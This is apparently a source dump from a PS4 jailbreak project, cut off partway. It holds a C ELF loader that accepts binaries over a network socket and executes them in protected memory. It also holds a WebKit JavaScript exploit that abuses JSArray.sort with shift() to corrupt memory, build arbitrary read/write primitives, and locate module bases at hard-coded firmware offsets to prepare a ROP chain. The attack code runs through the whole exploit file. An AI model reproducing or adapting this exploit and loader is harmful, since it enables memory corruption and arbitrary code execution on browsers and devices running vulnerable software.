__stderrp = *__stderrp_addr; 94 | __isthreaded = *__isthreaded_addr; 95 | #endif 96 | 97 | sa.sa_handler = SIG_IGN; 98 | sa.sa_flags = 0; 99 | sigaction(SIGPIPE, &sa, 0); 100 | setvbuf(stdin, NULL, _IOLBF, 0); 101 | setvbuf(stdout, NULL, _IONBF, 0); 102 | setvbuf(stderr, NULL, _IONBF, 0); 103 | 104 | config = malloc(sizeof(ElfLoaderConfig)); 105 | configFromDefines(config); 106 | 107 | if(config->debugMode == DebugOn) 108 | debugEnable(); 109 | 110 | if(config->debugMode == DebugOn || config->standardIORedirectMode == StandardIORedirectWait) 111 | { 112 | int debug = utilSingleAcceptServer(StandardIOServerPort); 113 | utilStandardIORedirect(debug, stdfd, stdpos); 114 | close(debug); 115 | } 116 | 117 | debugPrint("debugOpen(%i)\n", StandardIOServerPort); 118 | 119 | debugPrint("Mode -> BinaryLoader\n"); 120 | 121 | debugPrint("utilServerCreate(%i, %i, %i) -> ", ServerPort, ServerRetry, ServerTimeout); 122 | if((server = utilServerCreate(ServerPort, ServerBacklog, ServerRetry, ServerTimeout)) < 0) 123 | { 124 | debugPrint("Could not create server (return: %i)", server); 125 | return EXIT_FAILURE; 126 | } 127 | debugPrint("%i\n", server); 128 | 129 | debugPrint("accept(%i, NULL, NULL) -> ", server); 130 | if((client = accept(server, NULL, NULL)) < 0) 131 | { 132 | debugPrint("Could not accept client (return: %i)", client); 133 | close(server); 134 | return EXIT_FAILURE; 135 | } 136 | debugPrint("%i\n", client); 137 | 138 | while((r = read(client, payload, 4096)) > 0) 139 | { 140 | debugPrint("Read %"PRIi64" (0x%"PRIx64") bytes to %p \n", (int64_t)r, (uint64_t)r, (void *)payload); 141 | payload += r; 142 | } 143 | 144 | debugPrint("close(%i) -> ", client); 145 | debugPrint("%i\n", close(client)); 146 | debugPrint("close(%i) -> ", server); 147 | debugPrint("%i\n", close(server)); 148 | 149 | debugPrint("Executing binary at %p", (void *)payload); 150 | 151 | debugPrint("debugClose()\n"); 152 | 153 | if(config->debugMode == DebugOn || config->standardIORedirectMode == StandardIORedirectWait) 154 | utilStandardIOReset(stdfd, stdpos); 155 | 156 | free(config); 157 | 158 | return EXIT_SUCCESS; 159 | } 160 | 161 | /* Standard IO server */ 162 | 163 | void *elfLoaderStandardIOServerThread(void *arg) 164 | { 165 | int reset = 0; 166 | int client; 167 | int stdfd[3]; 168 | fpos_t stdpos[3]; 169 | 170 | if((ioServer = utilServerCreate(StandardIOServerPort, 10, 20, 1)) < 0) 171 | return NULL; 172 | 173 | // FIXME: 0,1,2 would be trouble 174 | while(ioServer >= 0) 175 | { 176 | client = accept(ioServer, NULL, NULL); 177 | 178 | if(reset) 179 | utilStandardIOReset(stdfd, stdpos); 180 | reset = 1; 181 | 182 | if(client < 0 || ioServer < 0) 183 | continue; 184 | 185 | utilStandardIORedirect(client, stdfd, stdpos); 186 | close(client); 187 | } 188 | 189 | return NULL; 190 | } 191 | 192 | /* elf utils */ 193 | 194 | Elf *elfCreateFromSocket(int client) 195 | { 196 | Elf *elf; 197 | size_t s; 198 | 199 | void *m = utilAllocUnsizeableFileFromDescriptor(client, &s); 200 | if(m == NULL) 201 | return NULL; 202 | elf = elfCreate(m, s); 203 | if(!elfLoaderIsLoadable(elf)) 204 | { 205 | elfDestroyAndFree(elf); 206 | elf = NULL; 207 | } 208 | 209 | return elf; 210 | } 211 | 212 | Elf *elfCreateFromFile(char *path) 213 | { 214 | Elf *elf; 215 | size_t s; 216 | 217 | void * m = utilAllocFile(path, &s); 218 | if(m == NULL) 219 | return NULL; 220 | elf = elfCreate(m, s); 221 | if(!elfLoaderIsLoadable(elf)) 222 | { 223 | elfDestroyAndFree(elf); 224 | elf = NULL; 225 | } 226 | 227 | return elf; 228 | } 229 | 230 | /* elf loader surface (view) wrappers*/ 231 | 232 | Elf *elfLoaderServerAcceptElf(int server) 233 | { 234 | int client; 235 | Elf *elf; 236 | 237 | if(server < 0) 238 | { 239 | debugPrint("Server is not a file descriptor"); 240 | return NULL; 241 | } 242 | 243 | debugPrint("accept(%i, NULL, NULL) -> ", server); 244 | if((client = accept(server, NULL, NULL)) < 0) 245 | { 246 | close(server); 247 | debugPrint("Accept failed %i", client); 248 | return NULL; 249 | } 250 | debugPrint("%i\n", client); 251 | 252 | debugPrint("elfCreateFromSocket(%i) -> ", client); 253 | elf = elfCreateFromSocket(client); 254 | 255 | if(elf == NULL) 256 | debugPrint("File could not be read or doesn't seem to be a PIC ELF\n"); 257 | else 258 | debugPrint("%p\n", (void *)elf); 259 | 260 | debugPrint("close(%i) -> ", client); 261 | debugPrint("%i\n", close(client)); 262 | 263 | return elf; 264 | } 265 | 266 | Elf *elfLoaderCreateElfFromPath(char *file) 267 | { 268 | Elf *elf; 269 | 270 | if(file == NULL) 271 | { 272 | debugPrint("File path is NULL"); 273 | return NULL; 274 | } 275 | 276 | debugPrint("elfCreateFromFile(%s) -> ", file); 277 | if((elf = elfCreateFromFile(file)) == NULL) 278 | debugPrint("File could not be read or doesn't seem to be a PIC ELF\n"); 279 | else 280 | debugPrint("%p\n", (void *)elf); 281 | 282 | return elf; 283 | } 284 | 285 | PS4ProtectedMemory *elfLoaderMemoryCreate(Elf *elf) 286 | { 287 | size_t size; 288 | PS4ProtectedMemory *memory; 289 | 290 | if(elf == NULL) 291 | { 292 | debugPrint("Elf is NULL"); 293 | return NULL; 294 | } 295 | 296 | size = elfMemorySize(elf); 297 | 298 | debugPrint("ps4ProtectedMemoryCreate(%zu) -> ", size); 299 | 300 | #ifdef ElfLoaderStandalone 301 | if(config->memoryMode == MemoryEmulate) 302 | memory = ps4ProtectedMemoryCreateEmulation(size); 303 | else 304 | memory = ps4ProtectedMemoryCreate(size); 305 | #else 306 | memory = ps4ProtectedMemoryCreate(size); 307 | #endif 308 | 309 | if(memory == NULL) 310 | debugPrint("Memory Setup failed\n"); 311 | else 312 | debugPrint("%p\n", (void *)memory); 313 | 314 | return memory; 315 | } 316 | 317 | int elfLoaderMemoryDestroySilent(PS4ProtectedMemory *memory) 318 | { 319 | int r; 320 | 321 | if(memory == NULL) 322 | return -1; 323 | 324 | #ifdef ElfLoaderStandalone 325 | if(config->memoryMode == MemoryEmulate) 326 | r = ps4ProtectedMemoryDestroyEmulation(memory); 327 | else 328 | r = ps4ProtectedMemoryDestroy(memory); 329 | #else 330 | r = ps4ProtectedMemoryDestroy(memory); 331 | #endif 332 | 333 | return r; 334 | } 335 | 336 | int elfLoaderMemoryDestroy(PS4ProtectedMemory *memory) 337 | { 338 | int r; 339 | 340 | if(memory == NULL) 341 | { 342 | debugPrint("Memory is NULL"); 343 | return -1; 344 | } 345 | 346 | debugPrint("PS4ProtectedMemoryDestroy(%p) -> ", (void *)memory); 347 | r = elfLoaderMemoryDestroySilent(memory); 348 | 349 | if(r < 0) 350 | debugPrint("Memory could not be completely freed - "); 351 | debugPrint("%i\n", r); 352 | 353 | return r; 354 | } 355 | 356 | Runnable elfLoaderRunSetup(Elf *elf, PS4ProtectedMemory *memory) 357 | { 358 | Runnable run; 359 | int r; 360 | 361 | if(elf == NULL || memory == NULL) 362 | { 363 | debugPrint("Elf (%p) or memory (%p) NULL\n", (void *)elf, (void *)memory); 364 | return NULL; 365 | } 366 | 367 | // FIXME: depricate for 3 method calls 368 | debugPrint("elfLoaderLoad(%p, %p, %p) -> ", (void *)elf, ps4ProtectedMemoryWritableAddress(memory), ps4ProtectedMemoryExecutableAddress(memory)); 369 | run = NULL; 370 | if((r = elfLoaderLoad(elf, ps4ProtectedMemoryWritableAddress(memory), ps4ProtectedMemoryExecutableAddress(memory))) < 0) 371 | debugPrint("Elf could not be loaded - %i\n", r); 372 | else 373 | { 374 | debugPrint("%i\n", r); 375 | run = (Runnable)((uint8_t *)ps4ProtectedMemoryExecutableAddress(memory) + elfEntry(elf)); 376 | } 377 | 378 | debugPrint("elfDestroyAndFree(%p)\n", (void *)elf); 379 | elfDestroyAndFree(elf); // we don't need the "file" anymore 380 | 381 | return run; 382 | } 383 | 384 | void elfLoaderRunSync(Elf *elf) 385 | { 386 | PS4ProtectedMemory *memory; 387 | Runnable run; 388 | int r; 389 | 390 | char *elfName = "elf"; 391 | char *elfArgv[3] = { elfName, NULL, NULL }; 392 | int elfArgc = 1; 393 | 394 | if(elf == NULL) 395 | { 396 | debugPrint("Elf is NULL"); 397 | return; 398 | } 399 | 400 | memory = elfLoaderMemoryCreate(elf); 401 | run = elfLoaderRunSetup(elf, memory); 402 | 403 | if(run != NULL) 404 | { 405 | debugPrint("run(%i, {%s, %s}) [%p + elfEntry = %p] -> ", elfArgc, elfArgv[0], elfArgv[1], ps4ProtectedMemoryExecutableAddress(memory), (void *)run); 406 | 407 | r = run(elfArgc, elfArgv); 408 | debugPrint("%i\n", r); 409 | } 410 | 411 | elfLoaderMemoryDestroy(memory); 412 | } 413 | 414 | void *elfLoaderRunAsyncMain(void *mainAndMemory) 415 | { 416 | MainAndMemory *mm; 417 | int r; 418 | 419 | char *elfName = "elf"; 420 | char *elfArgv[3] = { elfName, NULL, NULL }; // double null term for envp 421 | int elfArgc = 1; 422 | 423 | if(mainAndMemory == NULL) 424 | { 425 | debugPrint("mainAndMemory is NULL"); 426 | return NULL; 427 | } 428 | 429 | mm = (MainAndMemory *)mainAndMemory; 430 | r = mm->main(elfArgc, elfArgv); 431 | debugPrint("Asynchonous Return %i\n", r); 432 | elfLoaderMemoryDestroySilent(mm->memory); 433 | free(mm); 434 | 435 | return NULL; 436 | } 437 | 438 | void elfLoaderRunAsync(Elf *elf) 439 | { 440 | pthread_t thread; 441 | MainAndMemory *mm; 442 | 443 | if(elf == NULL) 444 | { 445 | debugPrint("Elf is NULL"); 446 | return; 447 | } 448 | 449 | mm = (MainAndMemory *)malloc(sizeof(MainAndMemory)); 450 | if(mm == NULL) 451 | { 452 | debugPrint("MainAndMemory allocation failed\n"); 453 | debugPrint("elfDestroyAndFree(%p)\n", (void *)elf); 454 | elfDestroyAndFree(elf); 455 | return; 456 | } 457 | 458 | mm->memory = elfLoaderMemoryCreate(elf); 459 | mm->main = elfLoaderRunSetup(elf, mm->memory); 460 | 461 | if(mm->main != NULL) 462 | { 463 | debugPrint("run [%p + elfEntry = %p]\n", ps4ProtectedMemoryExecutableAddress(mm->memory), (void *)mm->main); 464 | pthread_create(&thread, NULL, elfLoaderRunAsyncMain, mm); 465 | } 466 | else 467 | free(mm); 468 | } 469 | 470 | #ifdef BinaryLoader 471 | int elfLoaderMain(int argc, char **argv) 472 | #else 473 | int main(int argc, char **argv) 474 | #endif 475 | { 476 | int server; // only used in ElfInputServer 477 | Elf *elf; 478 | int stdfd[3]; 479 | fpos_t stdpos[3]; 480 | struct sigaction sa; 481 | 482 | #ifdef __PS4__ 483 | int libc = sceKernelLoadStartModule("libSceLibcInternal.sprx", 0, NULL, 0, 0, 0); 484 | sceKernelDlsym(libc, "__stdinp", (void **)&__stdinp_addr); 485 | sceKernelDlsym(libc, "__stdoutp", (void **)&__stdoutp_addr); 486 | sceKernelDlsym(libc, "__stderrp", (void **)&__stderrp_addr); 487 | sceKernelDlsym(libc, "__isthreaded", (void **)&__isthreaded_addr); 488 | __stdinp = *__stdinp_addr; 489 | __stdoutp = *__stdoutp_addr; 490 | __stderrp = *__stderrp_addr; 491 | __isthreaded = *__isthreaded_addr; 492 | #endif 493 | 494 | sa.sa_handler = SIG_IGN; 495 | sa.sa_flags = 0; 496 | sigaction(SIGPIPE, &sa, 0); 497 | setvbuf(stdin, NULL, _IOLBF, 0); 498 | setvbuf(stdout, NULL, _IONBF, 0); 499 | setvbuf(stderr, NULL, _IONBF, 0); 500 | 501 | config = malloc(sizeof(ElfLoaderConfig)); 502 | configFromDefines(config); 503 | 504 | #ifndef __PS4__ 505 | configFromArguments(config, argc, argv); 506 | if(config->elfInputMode == ElfInputFile && config->inputFile == NULL) 507 | { 508 | fprintf(stderr, "No file provided as argument in file mode.\n"); 509 | free(config); 510 | return EXIT_FAILURE; 511 | } 512 | #endif 513 | 514 | if(config->debugMode == DebugOn) 515 | debugEnable(); 516 | 517 | if(config->elfInputMode == ElfInputFile) 518 | { 519 | debugPrint("debugOpen(STDERR_FILENO)\n"); 520 | 521 | debugPrint("Mode -> ElfLoader [input: %i, memory: %i, thread: %i, debug: %i, stdio: %i]\n", 522 | config->elfInputMode, config->memoryMode, config->threadingMode, config->debugMode, config->standardIORedirectMode); 523 | 524 | elf = elfLoaderCreateElfFromPath(config->inputFile); 525 | if(elf != NULL) 526 | elfLoaderRunSync(elf); 527 | } 528 | else // if(elfInputMode == ElfInputServer) 529 | { 530 | if(config->standardIORedirectMode == StandardIORedirectWait) 531 | { 532 | int debug = utilSingleAcceptServer(StandardIOServerPort); 533 | utilStandardIORedirect(debug, stdfd, stdpos); 534 | close(debug); 535 | } 536 | else if(config->standardIORedirectMode == StandardIORedirectLazy) 537 | pthread_create(&ioThread, NULL, elfLoaderStandardIOServerThread, NULL); 538 | 539 | debugPrint("debugOpen(%i)\n", StandardIOServerPort); 540 | 541 | debugPrint("Mode -> ElfLoader [input: %i, memory: %i, thread: %i, debug: %i, stdio: %i]\n", 542 | config->elfInputMode, config->memoryMode, config->threadingMode, config->debugMode, config->standardIORedirectMode); 543 | 544 | debugPrint("utilServerCreate(%i, %i, %i) -> ", ServerPort, ServerRetry, ServerTimeout); 545 | if((server = utilServerCreate(ServerPort, ServerRetry, ServerTimeout, ServerBacklog)) < 0) 546 | debugPrint("Server creation failed %i", server); 547 | else 548 | debugPrint("%i\n", server); 549 | 550 | if(server > 0) 551 | { 552 | if(config->threadingMode == ThreadingNone) 553 | { 554 | elf = elfLoaderServerAcceptElf(server); 555 | debugPrint("close(%i) -> ", server); 556 | debugPrint("%i\n", close(server)); 557 | elfLoaderRunSync(elf); 558 | } 559 | else 560 | { 561 | while(1) 562 | { 563 | elf = elfLoaderServerAcceptElf(server); 564 | if(elf == NULL) // to stop, send a non-elf file - cheesy I know 565 | break; 566 | elfLoaderRunAsync(elf); 567 | } 568 | debugPrint("close(%i) -> ", server); 569 | debugPrint("%i\n", close(server)); 570 | } 571 | } 572 | } 573 | 574 | debugPrint("debugClose()\n"); 575 | 576 | if(config->elfInputMode == ElfInputServer) 577 | { 578 | if(config->standardIORedirectMode == StandardIORedirectWait) 579 | utilStandardIOReset(stdfd, stdpos); 580 | else if(config->standardIORedirectMode == StandardIORedirectLazy) 581 | { 582 | int s = ioServer; 583 | ioServer = -1; 584 | shutdown(s, SHUT_RDWR); 585 | close(s); 586 | pthread_join(ioThread, NULL); 587 | } 588 | } 589 | 590 | free(config); 591 | 592 | return EXIT_SUCCESS; 593 | } 594 | -------------------------------------------------------------------------------- /local/js/exploit.js: -------------------------------------------------------------------------------- 1 | // module bases for gadgets 2 | var LIBKERNEL = 1; 3 | var LIBC = 2; 4 | var LIBSYSMODULE = 3; 5 | var SCENET = 4; 6 | var SCENETCTL = 5; 7 | var SCEIPMI = 6; 8 | var SCEMBUS = 7; 9 | var SCEREGMGR = 8; 10 | var SCERTC = 9; 11 | var SCEPAD = 10; 12 | var SCEVIDEOOUT = 11; 13 | var SCEPIGLET = 12; 14 | var SCEORBISCOMPAT = 13; 15 | var WEBKIT2 = 14; 16 | var SCESYSCORE = 15; 17 | var SCESSL = 16; 18 | var SCEVIDEOCORESERVICE = 17; 19 | var SCESYSTEMSERVICE = 18; 20 | var SCECOMPOSITEEXT = 19; 21 | 22 | var errno = [ 23 | "OK", 24 | "Operation not permitted", 25 | "No such file or directory", 26 | "No such process", 27 | "Interrupted system call", 28 | "I/O error", 29 | "No such device or address", 30 | "Argument list too long", 31 | "Exec format error", 32 | "Bad file number", 33 | "No child processes", 34 | "Try again", 35 | "Out of memory", 36 | "Permission denied", 37 | "Bad address", 38 | "Block device required", 39 | "Device or resource busy", 40 | "File exists", 41 | "Cross-device link", 42 | "No such device", 43 | "Not a directory", 44 | "Is a directory", 45 | "Invalid argument", 46 | "File table overflow", 47 | "Too many open files", 48 | "Not a typewriter", 49 | "Text file busy", 50 | "File too large", 51 | "No space left on device", 52 | "Illegal seek", 53 | "Read-only file system", 54 | "Too many links", 55 | "Broken pipe", 56 | "Math argument out of domain of func", 57 | "Math result not representable" 58 | ]; 59 | 60 | // global vars 61 | var _gc, _cnt = 0; 62 | 63 | function exploit() { 64 | try { 65 | // 66 | // Part 1: getting the Uint32Array object address 67 | // 68 | // init vars 69 | window.u32 = new Uint32Array(0x100); 70 | var a1 = [0,1,2,3,u32]; 71 | var a2 = [0,1,2,3,4]; // right after a1 72 | var a1len = a1.length; 73 | var a2len = a2.length; 74 | var u32len = u32.length; 75 | 76 | // protect local vars from GC // for gdb 77 | if (!_gc) _gc = new Array(); 78 | _gc.push(u32,a1,a2); 79 | 80 | // declare custom compare function 81 | var myCompFunc = function(x, y) { 82 | // check for the last call for last two array items 83 | if(y == 3 && x == u32) { 84 | //logAdd("myCompFunc(u32,3)"); 85 | // shift() is calling during sort(), what causes the 86 | // last array item is written outside the array buffer 87 | a1.shift(); 88 | } 89 | return 0; 90 | } 91 | 92 | // call the vulnerable method - JSArray.sort(...) 93 | a1.sort(myCompFunc); 94 | 95 | // check results: a2.length should be overwritten by a1[4] 96 | var len = a2.length; 97 | //logAdd("a2.length = 0x" + len.toString(16)); 98 | if (len == a2len) { logAdd("error: 1"); return 1; } 99 | 100 | // 101 | // Part 2: creating corrupted JSValue which points to the (u32+0x18) address 102 | // 103 | 104 | // modify our compare function 105 | myCompFunc = function(x,y) { 106 | if (y == 0 && x == 1) { 107 | //logAdd("myCompFunc(1,0)"); 108 | // call shift() again to read the corrupted JSValue from a2.length 109 | // into a1[3] on the next sort loop 110 | a1.length = a1len; 111 | a1.shift(); 112 | // modify JSValue 113 | a2.length = len + 0x18; 114 | } 115 | if (y == 3) { 116 | //logAdd("myCompFunc(x,3)"); 117 | // shift it back to access a1[3] 118 | a1.unshift(0); 119 | } 120 | return 0; 121 | } 122 | 123 | a1.sort(myCompFunc); 124 | 125 | // now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18) 126 | var c = a2.length; 127 | //logAdd("a2.length = 0x" + c.toString(16)); 128 | if (c != len + 0x18) { logAdd("error: 2"); a1[3] = 0; return 2; } 129 | 130 | // 131 | // Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h) 132 | // 133 | 134 | // generate dummy JS functions 135 | var f, f2, f2offs, f2old, funcs = new Array(30); 136 | c = funcs.length; 137 | for(var i=0; i < c; i++){ 138 | f = new Function("arg", " return 876543210 + " + (_cnt++) + ";"); 139 | f.prop2 = 0x12345600 + i; 140 | funcs[i] = f; 141 | } 142 | 143 | // generate JIT-code 144 | for(var i=c-1; i >= 0; i--) { funcs[i](i); } 145 | 146 | // prepare objects for the third sort() call 147 | var mo = {}; 148 | var pd = { set: funcs[0], enumerable:true, configurable:true } 149 | var a3 = [0,1,2,a1[3]]; 150 | 151 | // allocate mo's property storage right after a3's buffer 152 | Object.defineProperty(mo, "prop0", pd); 153 | for(var i=1; i < 5; i++){ 154 | mo["prop"+i] = i; 155 | } 156 | 157 | // protect from GC 158 | _gc.push(a3,mo,funcs); 159 | 160 | // use sort-n-shift technique again 161 | myCompFunc = function(x,y) 162 | { 163 | // check for the last call for two last array items 164 | if (y == 2) { 165 | //logAdd("myCompFunc(a3[3],2)"); 166 | // a3[3] will be written over the mo.prop0 object 167 | a3.shift(); 168 | } 169 | return 0; 170 | } 171 | 172 | // overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18 173 | a3.sort(myCompFunc); 174 | 175 | // u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object. 176 | // we should put some valid pointers into GetterSetter 177 | u32.prop1 = u32; // GetterSetter.m_structure 178 | u32.prop2 = 8; // 8 = JSType.GetterSetterType 179 | u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter() 180 | 181 | // clear corrupted JSValue 182 | a1[3] = 0; a3[3] = 0; 183 | 184 | // overwrite u32.m_impl by some JSFunction object 185 | f = funcs[c-5]; 186 | pd.set = f; 187 | Object.defineProperty(mo, "prop0", pd); 188 | 189 | // check results: u32.length is taken from f's internals now 190 | //logAdd("u32.length = 0x" + u32.length.toString(16)); 191 | if (u32.length == u32len) { logAdd("error: 3"); return 3; } 192 | 193 | // 194 | // Part 4: getting the JIT-code memory address 195 | // 196 | 197 | // declare aux functions 198 | var setU64 = function(offs, val) { 199 | u32[offs] = val % 0x100000000; 200 | u32[offs+1] = val / 0x100000000; 201 | } 202 | var setU32 = function(offs, val) { 203 | u32[offs] = val; 204 | } 205 | var setU16 = function(offs, val) { 206 | setU8(offs, val % 256); 207 | setU8(offs + 1, val / 256); 208 | } 209 | var setU8 = function(offs, val) { 210 | u32[offs >>> 2] = (u32[offs >>> 2] & ~(0xFF << ((offs % 4) * 8))) | (val << ((offs % 4) * 8)); 211 | } 212 | 213 | var getU64 = function(offs) { 214 | return u32[offs] + u32[offs+1] * 0x100000000; 215 | } 216 | var getU32 = function(offs) { 217 | return u32[offs]; 218 | } 219 | var getU8 = function(offs) { 220 | return (u32[offs >>> 2] >> ((offs % 4) * 8)) & 0xff; 221 | } 222 | var getObjAddr = function(obj) { 223 | // write obj into u32 data 224 | pd.set.prop2 = obj; 225 | // read obj address from u32 226 | return getU64(2); 227 | } 228 | 229 | window.va2ea = function(addr) { 230 | return addr - u32base; 231 | } 232 | window.va2o = function(addr) { 233 | return va2ea(addr) >>> 2; 234 | } 235 | 236 | // will not modify u32base 237 | 238 | window.read32 = function(addr) { 239 | return u32[va2o(addr)]; 240 | } 241 | window.write32 = function(addr, val) { 242 | u32[va2o(addr)] = val & 0xffffffff; 243 | } 244 | window.read64 = function(addr) { 245 | return getU64(va2o(addr)); 246 | } 247 | window.write64 = function(addr, val) { 248 | return setU64(va2o(addr), val); 249 | } 250 | 251 | window.readString = function(addr) { 252 | var s = ''; 253 | var ea = va2ea(addr); 254 | var i = ea / 4; 255 | var j = ea % 4; 256 | while (1) { 257 | var c = (u32[i] >>> (8 * j)) & 0xff; 258 | if (c == 0) return s; 259 | s += String.fromCharCode(c); 260 | j = (j + 1) % 4; 261 | if (j == 0) { i += 1; } 262 | } 263 | return s; 264 | } 265 | 266 | window.writeString = function(addr, val) { 267 | var ea = va2ea(addr); 268 | var i = ea / 4; 269 | var j = ea % 4; 270 | for (var x = 0; x <= val.length; x++) { 271 | var c = (x == val.length) ? 0 : val.charCodeAt(x); 272 | var w = u32[i]; 273 | w = (w & ~(0xff << (8 * j))) | (c << (8 * j)); 274 | u32[i] = w; 275 | j = (j + 1) % 4; 276 | if (j == 0) { i += 1; } 277 | } 278 | return addr + val.length; 279 | } 280 | 281 | window.int2hex = function(value, digits) { 282 | value = value.toString(16); 283 | while (value.length < digits) { 284 | value = "0" + value; 285 | } 286 | 287 | return value; 288 | } 289 | 290 | window.hexDump = function(addr, length) { 291 | var b = '

'; 292 | var tmp = ''; 293 | var ea = va2ea(addr); 294 | var i = ea / 4; 295 | var j = ea % 4; 296 | 297 | b += int2hex(addr, 8); 298 | b += ": "; 299 | 300 | for (z = 1; z <= length; z++) { 301 | var ch = (u32[i] >>> (8 * j)) & 0xff; 302 | b += int2hex(ch, 2); 303 | if(( ch > 31) && (ch < 127)){ 304 | tmp += String.fromCharCode(ch); 305 | } 306 | else { 307 | tmp += "." 308 | } 309 | 310 | j = (j + 1) % 4; 311 | if (j == 0) { i += 1; } 312 | 313 | 314 | //if(z % 4 == 0) { 315 | b += " "; 316 | //} 317 | 318 | //if(z % 8 == 0) { 319 | // b += " "; 320 | //} 321 | 322 | if(z % 16 == 0) { 323 | b += " | " + tmp + "
"; 324 | tmp = ""; 325 | if (z != length) { 326 | b += int2hex(addr+z, 8) + ": "; 327 | } 328 | } 329 | } 330 | return b + "

" 331 | } 332 | 333 | // size multiples of 8 only 334 | window.zeroMemory = function(base, size) { 335 | for(var i = base; i < base + size; i += 8) { 336 | setU64to(i, 0); 337 | } 338 | } 339 | 340 | // convert base to base 341 | window.baseToBase = function(fromBase, toBase, value) { 342 | if(value == "") value = 0; 343 | value = parseInt(value, fromBase); 344 | return Number(value).toString(toBase).toUpperCase(); 345 | } 346 | 347 | // hex escape bytes 348 | window.escapeToHex = function(str) { 349 | var hex = ''; 350 | for(var i = 0; i < str.length; i += 2) { 351 | hex += '\\x' + str[i] + str[i + 1]; 352 | } 353 | 354 | //have to eval so JavasSript processes the string for appending 355 | return eval("ret = \"" + hex + "\""); 356 | } 357 | 358 | // get the memory address of u32 359 | var u32addr = getObjAddr(u32); 360 | //logAdd("u32 address = 0x" + u32addr.toString(16)); 361 | // get the memory address of u32[0] (ArrayBufferView.m_baseAddress) 362 | var u32base = getObjAddr(pd.set) + 0x20; 363 | var u32base0 = u32base; 364 | //logAdd("u32 base = 0x" + u32base.toString(16)); 365 | 366 | // on x64 platforms we can't just set u32.length to the huge number 367 | // for ability to access arbitrary addresses. We should be able to 368 | // modify the u32's buffer pointer on-the-fly. 369 | window.setBase = function(addr){ 370 | if (!f2) { 371 | // search for another JSFunction near "f" 372 | for(var i=0x12; i < 0x80; i+=0x10){ 373 | if ((u32[i] >>> 8) == 0x123456) { 374 | f2 = funcs[u32[i] & 0xFF]; 375 | f2offs = i - 6; 376 | f2old = getU64(f2offs); 377 | break; 378 | } 379 | } 380 | logAdd("f2offs = 0x" + f2offs); 381 | if (!f2) { return false; } 382 | 383 | } 384 | if (pd.set != f) { 385 | pd.set = f; 386 | Object.defineProperty(mo, "prop0", pd); 387 | u32base = u32base0; 388 | } 389 | if (addr == null) return true; 390 | 391 | // this will be the new value for ((ArrayBufferView)u32).m_baseAddress 392 | setU64(f2offs, addr); 393 | 394 | // overwrite ((JSUint32Array)u32).m_impl again 395 | pd.set = f2; 396 | Object.defineProperty(mo, "prop0", pd); 397 | 398 | u32base = addr; 399 | //logAdd("u32 new base = 0x" + u32base.toString(16)); 400 | 401 | return true; 402 | } 403 | 404 | // read/write the 64-bit value from the custom address 405 | window.getU64from = function(addr) { 406 | if (addr < u32base || addr >= u32base + u32len*4) { 407 | if (!setBase(addr)) return 0; 408 | } 409 | return getU64((addr - u32base) >>> 2); 410 | } 411 | 412 | window.getU32from = function(addr) { 413 | if (addr < u32base || addr >= u32base + u32len*4) { 414 | if (!setBase(addr)) return 0; 415 | } 416 | return getU32((addr - u32base) >>> 2); 417 | } 418 | 419 | window.getU8from = function(addr) { 420 | if (addr < u32base || addr >= u32base + u32len*4) { 421 | if (!setBase(addr)) return 0; 422 | } 423 | return getU8(addr - u32base); 424 | } 425 | 426 | window.setU64to = function(addr,val) { 427 | if (addr < u32base || addr >= u32base + u32len*4) { 428 | if (!setBase(addr)) return 0; 429 | } 430 | return setU64((addr - u32base) >>> 2, val); 431 | } 432 | window.setU32to = function(addr,val) { 433 | if (addr < u32base || addr >= u32base + u32len*4) { 434 | if (!setBase(addr)) return 0; 435 | } 436 | return setU32((addr - u32base) >>> 2, val); 437 | } 438 | window.setU16to = function(addr,val) { 439 | if (addr < u32base || addr >= u32base + u32len*4) { 440 | if (!setBase(addr)) return 0; 441 | } 442 | return setU16((addr - u32base), val); 443 | } 444 | window.setU8to = function(addr,val) { 445 | if (addr < u32base || addr >= u32base + u32len*4) { 446 | if (!setBase(addr)) return 0; 447 | } 448 | return setU8((addr - u32base), val); 449 | } 450 | window.setU64into = function(addr, value) { 451 | var low = value %0x100000000; 452 | var high = value/0x100000000; 453 | setBase(addr) 454 | u32[0] = parseInt(low.toString(16),16); 455 | u32[1] = parseInt(high.toString(16),16); 456 | } 457 | window.setU32into = function(addr, value) { 458 | setBase(addr); 459 | u32[0] = value; 460 | } 461 | 462 | 463 | //logAdd("u32 size: 0x" + u32.length.toString(16)); 464 | 465 | // Get the object table from the origianl heap address 466 | // +0x20 is a pointer we can use for some object 467 | 468 | var xx = getU64from(u32base0+0x20); 469 | var yy=0; 470 | //logAdd("verify base: 0x"+xx.toString(16) ); 471 | 472 | // 473 | // This is the only part you need to modify 474 | // 475 | // 476 | // 477 | // First, the heap array has a pointer into a function 478 | // in WebKit2. The one I'm using is always at +0x20 from 479 | // the original base at +0x20. 480 | 481 | // 1.70 PS4 = -0x30bf0 is the start of webkit 482 | 483 | // +0x25C4000 = some data 484 | // +0x2414000 = import table 485 | // (import table +0x20) = modules table 486 | // If this crashes, try it 2-4 more times. It usually will work 487 | 488 | // target addr for the rop chain 489 | 490 | var chain_addr = u32base0 + 0x80000; 491 | var chain_data = u32base0 + 0x88000; 492 | 493 | // xx will be the base address of WebKit2 494 | 495 | xx = (getU64from(xx+0x20)-0x30bf0); 496 | var wk_base = xx; 497 | logAdd("WebKit2 base address = 0x" + xx.toString(16)); 498 | xx += 0x2414000; // Get to the import table 499 | setBase(xx); 500 | 501 | xx = getU64from(xx+0x20); // Get to the module table 502 | // Future use: data area somewhere around 0x200500000 503 | 504 | //get libSceLibcinternal base 505 | var libc_int_base = getU64from(xx+0x1628); //1.76 506 | 507 | //logAdd("Dump Address is 0x" + xx.toString(16)); 508 | 509 | var module_list = xx + 0xae0 + 0x690; 510 | 511 | // module list is a doubly linked list, where the last node has self->next == 0 512 | // and the first node has self->prev == prev->next && self->prev->prev == last 513 | // The list head is seperate from the list and is a kind of "fake" node 514 | var modinfo_ptr = module_list; 515 | module_infos = {}; 516 | var n = 0; 517 | 518 | setBase(module_list); 519 | while (modinfo_ptr != 0) { 520 | var name = readString(modinfo_ptr + 0x18); 521 | if (name == '') { break; } 522 | var rdata_base = read64(modinfo_ptr + 0x170); 523 | var rdata_size = read32(modinfo_ptr + 0x178); 524 | var import_base = read64(modinfo_ptr + 0x180); 525 | var import_size = read32(modinfo_ptr + 0x188); 